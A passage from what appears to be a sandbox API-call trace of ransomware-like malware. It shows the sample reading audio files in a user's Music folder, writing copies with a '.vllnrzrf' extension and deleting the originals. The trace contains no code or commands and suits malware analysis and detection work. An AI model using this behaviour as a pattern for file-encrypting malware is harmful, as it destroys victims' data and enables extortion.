lpFileSizeHigh=0x1c91ee48 | out: lpFileSizeHigh=0x1c91ee48*=0x0) returned 0x14ab2 [0112.192] ReadFile (in: hFile=0x324, lpBuffer=0x22e0628, nNumberOfBytesToRead=0x14ab2, lpNumberOfBytesRead=0x1c91ed78, lpOverlapped=0x0 | out: lpBuffer=0x22e0628*, lpNumberOfBytesRead=0x1c91ed78*=0x14ab2, lpOverlapped=0x0) returned 1 [0112.194] CloseHandle (hObject=0x324) returned 1 [0112.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3.vllnrzrf", lpFilePart=0x0) returned 0x69 [0112.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91ecb0) returned 1 [0112.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\kxnnw5kgu ui.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0112.228] GetFileType (hFile=0x324) returned 0x1 [0112.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ec20) returned 1 [0112.228] GetFileType (hFile=0x324) returned 0x1 [0112.228] WriteFile (in: hFile=0x324, lpBuffer=0x1223bc60*, nNumberOfBytesToWrite=0x14cb2, lpNumberOfBytesWritten=0x1c91edd8, lpOverlapped=0x0 | out: lpBuffer=0x1223bc60*, lpNumberOfBytesWritten=0x1c91edd8*=0x14cb2, lpOverlapped=0x0) returned 1 [0112.339] CloseHandle (hObject=0x324) returned 1 [0112.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3", lpFilePart=0x0) returned 0x60 [0112.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3", nBufferLength=0x105, lpBuffer=0x1c91e970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3", lpFilePart=0x0) returned 0x60 [0112.353] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\kxnnw5kgu ui.mp3")) returned 1 [0112.356] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav", lpFilePart=0x0) returned 0x66 [0112.356] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav", lpFilePart=0x0) returned 0x66 [0112.356] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav", lpFilePart=0x0) returned 0x66 [0112.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91ecb0) returned 1 [0112.356] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\nud8xnsodbvwpirvjl.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0112.356] GetFileType (hFile=0x324) returned 0x1 [0112.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ec20) returned 1 [0112.357] GetFileType (hFile=0x324) returned 0x1 [0112.357] GetFileSize (in: hFile=0x324, lpFileSizeHigh=0x1c91ee48 | out: lpFileSizeHigh=0x1c91ee48*=0x0) returned 0x8f13 [0112.357] ReadFile (in: hFile=0x324, lpBuffer=0x22260b8, nNumberOfBytesToRead=0x8f13, lpNumberOfBytesRead=0x1c91ed78, lpOverlapped=0x0 | out: lpBuffer=0x22260b8*, lpNumberOfBytesRead=0x1c91ed78*=0x8f13, lpOverlapped=0x0) returned 1 [0112.358] CloseHandle (hObject=0x324) returned 1 [0112.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav.vllnrzrf", lpFilePart=0x0) returned 0x6f [0112.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91ecb0) returned 1 [0112.402] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\nud8xnsodbvwpirvjl.wav.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0112.553] GetFileType (hFile=0x324) returned 0x1 [0112.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ec20) returned 1 [0112.554] GetFileType (hFile=0x324) returned 0x1 [0112.554] WriteFile (in: hFile=0x324, lpBuffer=0x226b338*, nNumberOfBytesToWrite=0x9113, lpNumberOfBytesWritten=0x1c91edd8, lpOverlapped=0x0 | out: lpBuffer=0x226b338*, lpNumberOfBytesWritten=0x1c91edd8*=0x9113, lpOverlapped=0x0) returned 1 [0112.559] CloseHandle (hObject=0x324) returned 1 [0112.650] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav", lpFilePart=0x0) returned 0x66 [0112.650] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav", nBufferLength=0x105, lpBuffer=0x1c91e970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav", lpFilePart=0x0) returned 0x66 [0112.650] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\Nud8XnSODBvwpirVJL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\nud8xnsodbvwpirvjl.wav")) returned 1 [0112.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a", lpFilePart=0x0) returned 0x62 [0112.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a", lpFilePart=0x0) returned 0x62 [0112.659] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a", lpFilePart=0x0) returned 0x62 [0112.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91ecb0) returned 1 [0112.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\vwskjpserhsnz0.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0112.659] GetFileType (hFile=0x324) returned 0x1 [0112.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ec20) returned 1 [0112.659] GetFileType (hFile=0x324) returned 0x1 [0112.659] GetFileSize (in: hFile=0x324, lpFileSizeHigh=0x1c91ee48 | out: lpFileSizeHigh=0x1c91ee48*=0x0) returned 0x1d3e [0112.659] ReadFile (in: hFile=0x324, lpBuffer=0x2275260, nNumberOfBytesToRead=0x1d3e, lpNumberOfBytesRead=0x1c91ed78, lpOverlapped=0x0 | out: lpBuffer=0x2275260*, lpNumberOfBytesRead=0x1c91ed78*=0x1d3e, lpOverlapped=0x0) returned 1 [0112.660] CloseHandle (hObject=0x324) returned 1 [0112.702] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a.vllnrzrf", lpFilePart=0x0) returned 0x6b [0112.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91ecb0) returned 1 [0112.702] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\vwskjpserhsnz0.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0112.703] GetFileType (hFile=0x324) returned 0x1 [0112.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ec20) returned 1 [0112.703] GetFileType (hFile=0x324) returned 0x1 [0112.703] WriteFile (in: hFile=0x324, lpBuffer=0x2285c98*, nNumberOfBytesToWrite=0x1f3e, lpNumberOfBytesWritten=0x1c91edd8, lpOverlapped=0x0 | out: lpBuffer=0x2285c98*, lpNumberOfBytesWritten=0x1c91edd8*=0x1f3e, lpOverlapped=0x0) returned 1 [0112.900] CloseHandle (hObject=0x324) returned 1 [0112.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a", lpFilePart=0x0) returned 0x62 [0112.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a", nBufferLength=0x105, lpBuffer=0x1c91e970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a", lpFilePart=0x0) returned 0x62 [0112.905] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\VwsKjpsERhsNZ0.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\vwskjpserhsnz0.m4a")) returned 1 [0112.907] CoUninitialize () Thread: id = 86 os_tid = 0x80c [0112.913] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0112.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1cd2e420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0112.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e880) returned 1 [0112.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1cd2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0112.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\", nBufferLength=0x105, lpBuffer=0x1cd2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\", lpFilePart=0x0) returned 0x57 [0112.913] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\*.*", lpFindFileData=0x1cd2e520 | out: lpFindFileData=0x1cd2e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1659670, ftCreationTime.dwHighDateTime=0x1d5e3b1, ftLastAccessTime.dwLowDateTime=0x4426f660, ftLastAccessTime.dwHighDateTime=0x1d5e531, ftLastWriteTime.dwLowDateTime=0x4426f660, ftLastWriteTime.dwHighDateTime=0x1d5e531, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0112.914] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e570 | out: lpFindFileData=0x1cd2e570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1659670, ftCreationTime.dwHighDateTime=0x1d5e3b1, ftLastAccessTime.dwLowDateTime=0x4426f660, ftLastAccessTime.dwHighDateTime=0x1d5e531, ftLastWriteTime.dwLowDateTime=0x4426f660, ftLastWriteTime.dwHighDateTime=0x1d5e531, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.914] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e570 | out: lpFindFileData=0x1cd2e570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd28a2550, ftCreationTime.dwHighDateTime=0x1d5e4da, ftLastAccessTime.dwLowDateTime=0x4504cb30, ftLastAccessTime.dwHighDateTime=0x1d5e16b, ftLastWriteTime.dwLowDateTime=0x4504cb30, ftLastWriteTime.dwHighDateTime=0x1d5e16b, nFileSizeHigh=0x0, nFileSizeLow=0x7d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="3fLv6rZIwElAf.mp3", cAlternateFileName="3FLV6R~1.MP3")) returned 1 [0112.914] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e570 | out: lpFindFileData=0x1cd2e570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c925370, ftCreationTime.dwHighDateTime=0x1d5dc73, ftLastAccessTime.dwLowDateTime=0x92bf0330, ftLastAccessTime.dwHighDateTime=0x1d5ddf7, ftLastWriteTime.dwLowDateTime=0x92bf0330, ftLastWriteTime.dwHighDateTime=0x1d5ddf7, nFileSizeHigh=0x0, nFileSizeLow=0x17642, dwReserved0=0x0, dwReserved1=0x0, cFileName="FWq1O.mp3", cAlternateFileName="")) returned 1 [0112.914] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e570 | out: lpFindFileData=0x1cd2e570*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.915] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0112.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e7d0) returned 1 [0112.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e790) returned 1 [0112.918] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3", nBufferLength=0x105, lpBuffer=0x1cd2e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3", lpFilePart=0x0) returned 0x68 [0112.918] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3", nBufferLength=0x105, lpBuffer=0x1cd2e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3", lpFilePart=0x0) returned 0x68 [0112.918] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3", nBufferLength=0x105, lpBuffer=0x1cd2e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3", lpFilePart=0x0) returned 0x68 [0112.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e770) returned 1 [0112.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\kefupt\\3flv6rziwelaf.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x464 [0112.918] GetFileType (hFile=0x464) returned 0x1 [0112.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e6e0) returned 1 [0112.918] GetFileType (hFile=0x464) returned 0x1 [0112.918] GetFileSize (in: hFile=0x464, lpFileSizeHigh=0x1cd2e908 | out: lpFileSizeHigh=0x1cd2e908*=0x0) returned 0x7d46 [0112.918] ReadFile (in: hFile=0x464, lpBuffer=0x228dd80, nNumberOfBytesToRead=0x7d46, lpNumberOfBytesRead=0x1cd2e838, lpOverlapped=0x0 | out: lpBuffer=0x228dd80*, lpNumberOfBytesRead=0x1cd2e838*=0x7d46, lpOverlapped=0x0) returned 1 [0112.919] CloseHandle (hObject=0x464) returned 1 [0112.929] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cd2e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3.vllnrzrf", lpFilePart=0x0) returned 0x71 [0112.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e770) returned 1 [0112.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\kefupt\\3flv6rziwelaf.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x320 [0114.051] GetFileType (hFile=0x320) returned 0x1 [0114.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e6e0) returned 1 [0114.052] GetFileType (hFile=0x320) returned 0x1 [0114.052] WriteFile (in: hFile=0x320, lpBuffer=0x22cace8*, nNumberOfBytesToWrite=0x7f46, lpNumberOfBytesWritten=0x1cd2e898, lpOverlapped=0x0 | out: lpBuffer=0x22cace8*, lpNumberOfBytesWritten=0x1cd2e898*=0x7f46, lpOverlapped=0x0) returned 1 [0114.287] CloseHandle (hObject=0x320) returned 1 [0114.289] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3", nBufferLength=0x105, lpBuffer=0x1cd2e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3", lpFilePart=0x0) returned 0x68 [0114.289] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3", nBufferLength=0x105, lpBuffer=0x1cd2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3", lpFilePart=0x0) returned 0x68 [0114.289] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\3fLv6rZIwElAf.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\kefupt\\3flv6rziwelaf.mp3")) returned 1 [0114.292] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3", nBufferLength=0x105, lpBuffer=0x1cd2e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3", lpFilePart=0x0) returned 0x60 [0114.293] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 